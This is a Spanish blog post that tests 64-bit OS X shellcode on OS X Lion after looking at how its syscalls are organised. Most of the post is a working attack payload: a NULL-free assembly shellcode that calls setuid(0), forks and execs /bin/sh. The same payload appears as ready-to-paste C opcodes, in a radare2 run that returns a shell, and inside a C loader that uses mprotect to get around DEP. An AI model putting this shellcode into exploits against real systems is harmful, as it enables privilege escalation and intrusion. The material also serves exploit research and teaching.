Probando nuestra shellcode en OSX Lion

Ahora que se ha publicado OSX Lion (10.7) hemos decidido probar nuestras shellcodes preparadas para Snow Leopard en 64bits sin cambiar ni un solo opcode. :-) El resultado es el esperado, las shellcodes se ejecutan sin problemas (cuidado con el stack-protector)
Pero en el proceso nos hemos encontrado un par de cosas curiosas.

Por un lado ya no es necesario crear un section .data y rellenar unos bytes para saltarnos el dyld y así ejecutar un binario estático sin linkar contra libSystem.B
Esto se debe a una serie de cambios muy profundos en dyld y libSystem.B

Uno de los más apreciables, es que ya no se definen las syscall en libSystem.B

      Kana:~ capi_x$ otool -p _write -tVv /usr/lib/libSystem.B.dylib

      /usr/lib/libSystem.B.dylib:
      (__TEXT,__text) section
      Can't find -p symbol: _write

Y si descompilamos toda la lib y buscamos por referencias a “write”…

      Kana:~ capi_x$ otool -tVv /usr/lib/libSystem.B.dylib | grep write
      R8289209$_write:
      00000000000142cf    jmp    0x0001441e    ; symbol stub for: _write

Ok, tenemos un símbolo definido de write, pero ni rastro de ella, busquemos contra qué está linkada ahora libSystem.B

      Kana:~ capi_x$ otool -L /usr/lib/libSystem.B.dylib

      /usr/lib/libSystem.B.dylib:
              /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
              /usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
              /usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
              [...]

He recortado la salida ya que es bastante larga, pero se aprecian muchas (y muy interesantes) nuevas librerías que investigaremos a fondo, de momento nos centraremos en las syscall.
Una de las librerías linkadas es “/usr/lib/system/libsystem_kernel.dylib” que efectivamente, contiene las syscall que estamos buscando. :-)

      Kana:~ capi_x$ otool -p _write -tVv /usr/lib/system/libsystem_kernel.dylib | head -6 | tail -3
      0000000000017fd4    movl    $0x02000004,%eax
      0000000000017fd9    movq    %rcx,%r10
      0000000000017fdc    syscall

Como se aprecia, las syscall no han variado, así que nuestras shellcodes para Snow Leopard en 64bits deberían funcionar a la primera.

      Kana:~ capi_x$ cat shell64-2.s
      mov  eax, 0xfa8888a0
      add  eax, 0x07777777
      xor  rdi, rdi
      syscall    # setuid
      mov  eax, 0xfa88888b
      add  eax, 0x07777777
      syscall    # fork
      mov  eax, 0xfa888a19
      add  eax, 0x07777777
      xor  rdx, rdx
      xor  rsi, rsi
      syscall    # wait4
      mov  eax, 0xfa8888c4
      add  eax, 0x07777777
      mov  rdi, 0x68732f2f6e69622f
      push rsi
      push rdi
      mov  rdi, rsp
      syscall    # execve

Esta vez veremos un método muy cómodo para tener directamente nuestros opcodes en formato C listos para usar. ¡Copia y pega al poder! :D

      Kana:~ capi_x$ rasm2 -f shell64-2.s -b 64 -s intel -C
      "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
      "x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
      "x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
      "x6ex2fx2fx73x68x56x57x48x89xe7x0fx05"

Y para probarla, podemos hacerlo también desde radare2 mediante el combo rasm2/rasc2.

      Kana:~ capi_x$ rasm2 -b 64 -s intel -f shell64-2.s
      b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05
      Kana:~ capi_x$ rasc2 -s "b8a08888fa05777777074831ff0f05b88b8888fa05777777070f05b8198a88fa05777777074831d24831f60f05b8c48888fa057777770748bf2f62696e2f2f736856574889e70f05" -X
      bash-3.2$

Como podéis ver usando radare2 hacemos nuestra vida un poco mas fácil! ;)

Por otro lado, para probar nuestra shellcode también podeís hacerlo con un programita standalone. Os paso un código C que hace un mprotect ya que OSX en 64bits tiene DEP.

      /* NULL free shellcode for OSX 64bits: setuid-fork-wait-execve-binsh
       * capi_x (c) <capi_x(AT)haibane.net>   <twitter: @capi_x       */

      #include <stdio.h>
      #include <stdlib.h>
      #include <sys/types.h>
      #include <sys/mman.h>
      #include <string.h>

      char shellcode[] = "xb8xa0x88x88xfax05x77x77x77x07x48x31xffx0fx05xb8x8bx88x88xfa"
      "x05x77x77x77x07x0fx05xb8x19x8ax88xfax05x77x77x77x07x48x31xd2"
      "x48x31xf6x0fx05xb8xc4x88x88xfax05x77x77x77x07x48xbfx2fx62x69"
      "x6ex2fx2fx73x68x56x57x48x89xe7x0fx05";

      int main() {
              char *sc = malloc(4096);
              memcpy(sc,shellcode,sizeof(shellcode));
              mprotect(sc, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
              (*(void  (*)()) sc )();

              free(sc);

              return(0);
      }

Happy Hacking!

“No user serviceable parts included.”